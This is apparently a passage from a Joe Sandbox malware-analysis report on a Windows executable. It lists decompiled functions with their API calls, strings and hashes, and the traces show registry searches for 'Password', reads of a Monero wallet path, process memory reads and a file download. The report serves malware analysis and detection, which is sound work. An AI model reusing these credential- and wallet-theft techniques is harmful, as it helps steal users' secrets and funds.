Part of subcall function 004273F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042740E

RegOpenKeyExA.KERNEL32(?,02F65FA8,00000000,00020019,?,00000000,00000000,00000000), ref: 0042398D
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004239C7
wsprintfA.USER32 ref: 004239F2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 00423A10
RegCloseKey.ADVAPI32(?), ref: 00423A1E
RegCloseKey.ADVAPI32(?), ref: 00423A28
RegQueryValueExA.KERNEL32(?,02F65C88,00000000,000F003F,?,?), ref: 00423A71
lstrlenA.KERNEL32(?), ref: 00423A86
RegQueryValueExA.KERNEL32(?,02F65CA0,00000000,000F003F,?,00000400), ref: 00423AF7
RegCloseKey.KERNEL32(?), ref: 00423B42
RegCloseKey.ADVAPI32(?), ref: 00423B59

Strings

- , xrefs: 00423B01
%s\%s, xrefs: 004239E6
?, xrefs: 0042396E

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValue$Enumlstrcpylstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 13140697-3278919252
Opcode ID: 6dcd467be8bfaa7aea3fd0449754f375f1abc2eec85a755dd2aedec269f14614
Instruction ID: ef748e6fff58cabc734987b9ec72283b61b8713672957323af367e4f357b342c
Opcode Fuzzy Hash: 6dcd467be8bfaa7aea3fd0449754f375f1abc2eec85a755dd2aedec269f14614
Instruction Fuzzy Hash: E691AF72A002189FCB10DF94EC849DEBBB9FF48314F54816EE509A7251DB39AE45CFA4

Function 0040A010 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 251stringlibraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02F64CD8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0040A026
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A053
lstrlenA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0040A060
lstrcpy.KERNEL32(00000000,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0040A08A
lstrlenA.KERNEL32(00434C5C), ref: 0040A095
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A0B2
lstrcatA.KERNEL32(00000000,00434C5C), ref: 0040A0BE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A0E4
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A0EF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A114
SetEnvironmentVariableA.KERNEL32(02F64CD8,00000000), ref: 0040A12F
LoadLibraryA.KERNEL32(02F65528), ref: 0040A143

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A020, 0040A05B, 0040A084

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 0cca2d6ed722275f8c9b3b4d7849eb3b98aa4ceb76b5947fa6449840211651f6
Instruction ID: 09765f159dc8dc8e62ab9a156377f3d82f4f94004e0fb320d3e0be7d17be1c76
Opcode Fuzzy Hash: 0cca2d6ed722275f8c9b3b4d7849eb3b98aa4ceb76b5947fa6449840211651f6
Instruction Fuzzy Hash: E8918F306007009FD7219FA4DC88AA736A6AB94705F40507AF905AB7E2EFBDDD508BD6

Function 004150C9 Relevance: 18.7, APIs: 12, Instructions: 738stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000), ref: 00415103
lstrcpy.KERNEL32(00000000,?), ref: 00415129
lstrcpy.KERNEL32(00000000,?), ref: 00415152
lstrcpy.KERNEL32(00000000,?), ref: 0041517B
lstrcpy.KERNEL32(00000000,00000000), ref: 004151A4
lstrcpy.KERNEL32(00000000,00000000), ref: 004151C7
DeleteFileA.KERNEL32(00000000), ref: 004151EC
lstrcpy.KERNEL32(00000000,?), ref: 004152C4
lstrcpy.KERNEL32(00000000,00000000), ref: 004152EC
lstrcpy.KERNEL32(00000000,?), ref: 00415323

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$DeleteFile
String ID:
API String ID: 3632507482-0
Opcode ID: df24262a93605db516be54974cf493073d2c709ca041127d6b546695cafd9c9e
Instruction ID: 6c7b01701ac7a94b01443deebbc01f7d1bed5163b2ff4ee007b7d72ed38e44e8
Opcode Fuzzy Hash: df24262a93605db516be54974cf493073d2c709ca041127d6b546695cafd9c9e
Instruction Fuzzy Hash: 8162FC70A11601CFDB28CF19D558BA6B7E1AF84319B19C0AED809DB3A1D779DC82CF94

Function 00421DC0 Relevance: 18.1, APIs: 12, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 9343f4d11755fa9e382acaf8fa09f1530e246d7c4ba2d0a4f404b44d14c0a2b8
Instruction ID: 7a2201728aaf3660d2bfa0f4ed14a3079840533c6de8740450db9d980c82816b
Opcode Fuzzy Hash: 9343f4d11755fa9e382acaf8fa09f1530e246d7c4ba2d0a4f404b44d14c0a2b8
Instruction Fuzzy Hash: 4F4191317003169FC720ABB5ED49B9F76A6AF10754F85003AF901A72E1DFB8E805CB98

Function 004225D0 Relevance: 16.7, APIs: 11, Instructions: 229stringCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,00000000), ref: 004225E1
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0042261C
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0042262D
memset.MSVCRT ref: 00422655
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00000208,00000000), ref: 004226AC
lstrlenA.KERNEL32(00000000), ref: 004226B9
lstrcpy.KERNEL32(00000000,00000000), ref: 00422740
lstrlenA.KERNEL32(00000000), ref: 00422747
strlen.MSVCRT ref: 0042276B
memset.MSVCRT ref: 004227F5
??_V@YAXPAX@Z.MSVCRT(?), ref: 00422842

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Processlstrcpylstrlenmemset$MemoryOpenReadstrlen
String ID:
API String ID: 311138045-0
Opcode ID: e6fa4204135ca8296f649fc3a4fb5a35197530a97ca6045e1760b2de5ae20ef2
Instruction ID: c2cb32c530b1f9419b28239f7d29ad93a5455f8e55d0e72405593ddebe7160c6
Opcode Fuzzy Hash: e6fa4204135ca8296f649fc3a4fb5a35197530a97ca6045e1760b2de5ae20ef2
Instruction Fuzzy Hash: E481C071F00219ABDB14CF94ED44BAEB7B5FF84300F54816EE905A7381EBB99941CB98

Function 0041E180 Relevance: 16.7, APIs: 11, Instructions: 175stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,02F661C8), ref: 0041E1ED
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041E217
lstrcpy.KERNEL32(00000000,?), ref: 0041E24F
lstrcatA.KERNEL32(?,00000000), ref: 0041E25D
lstrcatA.KERNEL32(?,?), ref: 0041E278
lstrcatA.KERNEL32(?,?), ref: 0041E28C
lstrcatA.KERNEL32(?,02F5FE10), ref: 0041E2A0
lstrcatA.KERNEL32(?,?), ref: 0041E2B4
lstrcatA.KERNEL32(?,02F65968), ref: 0041E2C7
lstrcpy.KERNEL32(00000000,?), ref: 0041E2FF
GetFileAttributesA.KERNELBASE(00000000), ref: 0041E306

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$AttributesFileFolderPath
String ID:
API String ID: 4230089145-0
Opcode ID: 7ae91ed621010ec8470f65df5e3945ec9f45ffabc4e40ec7c9a03f072cbccd11
Instruction ID: 3f3b8a42815521d86818bec78667adf868bbf19d08a68f792361d09e0900e54e
Opcode Fuzzy Hash: 7ae91ed621010ec8470f65df5e3945ec9f45ffabc4e40ec7c9a03f072cbccd11
Instruction Fuzzy Hash: 63617075A1011CABCB55DB64CD48ADD77B9BF48300F1049AAFA0AA3290DFB49F858F94

Function 00406AD0 Relevance: 16.6, APIs: 11, Instructions: 127networkfilestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00406AFF
InternetOpenA.WININET(Function_0002CFF4,00000001,00000000,00000000,00000000), ref: 00406B2C
StrCmpCA.SHLWAPI(?,02F64E08), ref: 00406B4A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,-00800100,00000000), ref: 00406B6A
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406B88
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00406BA1
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00406BC6
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00406BF0
CloseHandle.KERNEL32(00000000), ref: 00406C10
InternetCloseHandle.WININET(00000000), ref: 00406C17
InternetCloseHandle.WININET(?), ref: 00406C21

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritelstrcpy
String ID:
API String ID: 2500263513-0
Opcode ID: ae4a8d3461f511a1ddb30dea5da6e291bd3f01b99829522a68f2dd9bf7ad5733
Instruction ID: 28f6004d9fc435b827a3bc8f9bbe67469d36c8410753c23a53a3daf2e3da10f0
Opcode Fuzzy Hash: ae4a8d3461f511a1ddb30dea5da6e291bd3f01b99829522a68f2dd9bf7ad5733
Instruction Fuzzy Hash: E64171B1600215ABDB24DF64DC89FAE77B9EB44704F004469FA06E72C0DF74AE448BA8

Function 00407A60 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 109stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004077D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00407805
Part of subcall function 004077D0: RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0040784A
Part of subcall function 004077D0: strlen.MSVCRT ref: 0040787E
Part of subcall function 004077D0: StrStrA.SHLWAPI(?,Password), ref: 004078B8
Part of subcall function 004077D0: strcpy_s.MSVCRT ref: 004078E1
Part of subcall function 004077D0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004078EC
Part of subcall function 004077D0: HeapFree.KERNEL32(00000000), ref: 004078F3
Part of subcall function 004077D0: strlen.MSVCRT ref: 00407900

lstrcatA.KERNEL32(296B4020,00434AE4), ref: 00407A90
lstrcatA.KERNEL32(296B4020,?), ref: 00407ABD
lstrcatA.KERNEL32(296B4020, : ), ref: 00407ACF
lstrcatA.KERNEL32(296B4020,?), ref: 00407AF0
wsprintfA.USER32 ref: 00407B10
lstrcpy.KERNEL32(00000000,?), ref: 00407B39
lstrcatA.KERNEL32(296B4020,00000000), ref: 00407B47
lstrcatA.KERNEL32(296B4020,00434AE4), ref: 00407B60

Strings

: , xrefs: 00407AC9

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heapstrlen$EnumFreeOpenProcessValuelstrcpystrcpy_swsprintf
String ID: :
API String ID: 2460923012-3653984579
Opcode ID: fdb1044778b86e8f6148d37be75e34fb36eacf28db68f334ab64713c59042695
Instruction ID: a9eb39b9d92cec7627b9afbd9f4cc03ee75f53641e17917b33feacfb861f4080
Opcode Fuzzy Hash: fdb1044778b86e8f6148d37be75e34fb36eacf28db68f334ab64713c59042695
Instruction Fuzzy Hash: 4031B576E00214AFCB14DB64DC849ABB77AEB88304F14552EF605A3390DB78F941CBE5

Function 0041AEC8 Relevance: 15.2, APIs: 10, Instructions: 150stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0041AEE1
lstrlenA.KERNEL32(02F662A0), ref: 0041AEF7
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AF1F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AF2A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AF53
lstrcpy.KERNEL32(00000000,?), ref: 0041AF8F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041AF99
lstrcpy.KERNEL32(00000000,00000000), ref: 0041AFBF
lstrlenA.KERNEL32(00000000), ref: 0041AFD5
lstrcpy.KERNEL32(00000000,02F66138), ref: 0041B008

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen
String ID:
API String ID: 1049500425-0
Opcode ID: 3326405fb4219cbe79ac17f1a89b24e67749ef1e8744a65885f480683ca02468
Instruction ID: 5e372d82a760361b1011fbfd68fe6ea9c0c71b16cbc0938c1209965ed7356f26
Opcode Fuzzy Hash: 3326405fb4219cbe79ac17f1a89b24e67749ef1e8744a65885f480683ca02468
Instruction Fuzzy Hash: D7516B717122169BCB21EF79DD89AEF77B5AF00304F00042AB805A72A1DB78DD568B99

Function 00422910 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,02F5AC00,00000000), ref: 0042294B
GetVolumeInformationA.KERNEL32(0042A650,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0042297C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004229DF
HeapAlloc.KERNEL32(00000000), ref: 004229E6
wsprintfA.USER32 ref: 00422A0B

Strings

C, xrefs: 00422955
-B, xrefs: 00422A32
:\, xrefs: 00422965

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowswsprintf
String ID: -B$:\$C
API String ID: 1325379522-1437955
Opcode ID: 013d7a5abd80eb44982cec66597c927420344f608520c3a884e76de014233dcd
Instruction ID: 562ad2215438343aebe80b64a3c577c541e91a378324e6c4921a498218fa886a
Opcode Fuzzy Hash: 013d7a5abd80eb44982cec66597c927420344f608520c3a884e76de014233dcd
Instruction Fuzzy Hash: D331A5B1E08219AFC714DFB89A44AEFBFB8EB18340F00016AE505E7650E2748A408BA5

Function 0041E229 Relevance: 13.6, APIs: 9, Instructions: 124stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041E24F
lstrcatA.KERNEL32(?,00000000), ref: 0041E25D
lstrcatA.KERNEL32(?,?), ref: 0041E278
lstrcatA.KERNEL32(?,?), ref: 0041E28C
lstrcatA.KERNEL32(?,02F5FE10), ref: 0041E2A0
lstrcatA.KERNEL32(?,?), ref: 0041E2B4
lstrcatA.KERNEL32(?,02F65968), ref: 0041E2C7
lstrcpy.KERNEL32(00000000,?), ref: 0041E2FF
GetFileAttributesA.KERNELBASE(00000000), ref: 0041E306

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$AttributesFile
String ID:
API String ID: 3428472996-0
Opcode ID: 0fa9923e5ac3761e1057efea0dec0fec453706019a673774de13f585b0a6cb63
Instruction ID: 4db507e26463556b3c3810db57da5ff59b0c255728844e42ab927758e5596a7a
Opcode Fuzzy Hash: 0fa9923e5ac3761e1057efea0dec0fec453706019a673774de13f585b0a6cb63
Instruction Fuzzy Hash: 5141B675E1011C9BCB25EB64DD49ADE73B5BF48300F0045AAF90AA3290DF789F858F94

Function 00401120 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401135
HeapAlloc.KERNEL32(00000000), ref: 0040113C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00401159
RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401173
RegCloseKey.ADVAPI32(?), ref: 0040117D

Strings

wallet_path, xrefs: 0040116D
SOFTWARE\monero-project\monero-core, xrefs: 0040114F

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 3eabf35694fb7367b255f32a536ab17974b5ca8c4e5d7cae6c54b1374e0763a8
Instruction ID: 429a39cc595111bc57384dbb44951e00fba51e8d3c52ba565137f0064186628b
Opcode Fuzzy Hash: 3eabf35694fb7367b255f32a536ab17974b5ca8c4e5d7cae6c54b1374e0763a8
Instruction Fuzzy Hash: D7F06D75A40308BFD7049BA09C89FEB7B7DEB04755F100059FE05E2290D6B05A448BE0

Function 0041177A Relevance: 12.1, APIs: 8, Instructions: 144stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00411783
lstrcpy.KERNEL32(00000000,?), ref: 004117AC
lstrcpy.KERNEL32(00000000,?), ref: 004117D5
lstrcpy.KERNEL32(00000000,?), ref: 004118E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041190E
lstrcpy.KERNEL32(00000000,?), ref: 00411945

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ca5f3bbb4eb6a250948d57c6746ce82cd6f19fa1801224169afbc485576f5e41
Instruction ID: 66611ffd0c1ffa2c846fdbe6c3837d1f028237e2601805ab750d8671934e4c11
Opcode Fuzzy Hash: ca5f3bbb4eb6a250948d57c6746ce82cd6f19fa1801224169afbc485576f5e41
Instruction Fuzzy Hash: FE513170B112058BDB24EF79D9899EF77B4AF04304F00553EB856A73A1DE78DC848B95

Function 004116DA Relevance: 12.1, APIs: 8, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 004116E3
lstrcpy.KERNEL32(00000000,?), ref: 0041170C
lstrcpy.KERNEL32(00000000,?), ref: 00411734
lstrcpy.KERNEL32(00000000,?), ref: 004118E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041190E
lstrcpy.KERNEL32(00000000,?), ref: 00411945
FindNextFileA.KERNELBASE(00000000,?), ref: 0041196C

Memory Dump Source

